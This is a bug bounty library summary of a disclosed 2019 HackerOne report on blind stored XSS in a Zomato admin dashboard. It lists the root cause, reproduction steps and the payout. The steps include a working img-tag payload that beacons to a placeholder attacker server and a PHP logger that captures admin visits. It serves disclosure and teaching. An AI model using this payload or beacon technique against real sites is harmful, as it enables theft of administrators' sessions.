# [www.zomato.com] Blind XSS in one of the admin dashboard

Blind stored XSS via an unsanitized API form field fired in an admin dashboard, letting the attacker exfiltrate admin cookies.

- Payout: $500
- Severity: high
- Program: Eternal
- Credited: khoidv1
- Disclosed: 2019-05-01
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/461272
- Library page: https://bugbountylibrary.com/r/h1%3A461272
- Tags: domain:web impact:ato impact:internal-access kind:bounty platform:hackerone sev:high tech:rest technique:blind technique:oob-exfil vuln:xss

**Target:** Zomato admin dashboard fed by api.zomato.com form endpoint
**Root cause:** A user-controlled form field was stored and later rendered unescaped in an admin dashboard, allowing HTML/JS injection.
**Steps:**
1. Login to the app and go to the vulnerable function, intercept the request.
2. Submit payload `"><img src="http://<server>/zomato.php?c=zomato_xss" />` in the form field to api.zomato.com.
3. Host zomato.php that logs time, IP, referer, and `c` param to log.txt.
4. Wait for admin to view the dashboard entry; payload fires and beacons to attacker server.
5. Confirm hits in log.txt from admin IPs.
**How found:** Tester intercepted a form submission request and tested whether the field was reflected/stored unescaped in an admin-facing dashboard, using an out-of-band img beacon to detect blind execution.
**Exploitation:** Attacker injects an img-based blind XSS payload into a stored form field; when an admin views the dashboard the payload loads the attacker's PHP logger, capturing admin IP/referer and enabling cookie theft.
**Insight:** Fields submitted via mobile API endpoints often render in separate internal admin dashboards; use OOB img/script beacons to detect blind execution where you cannot see the sink.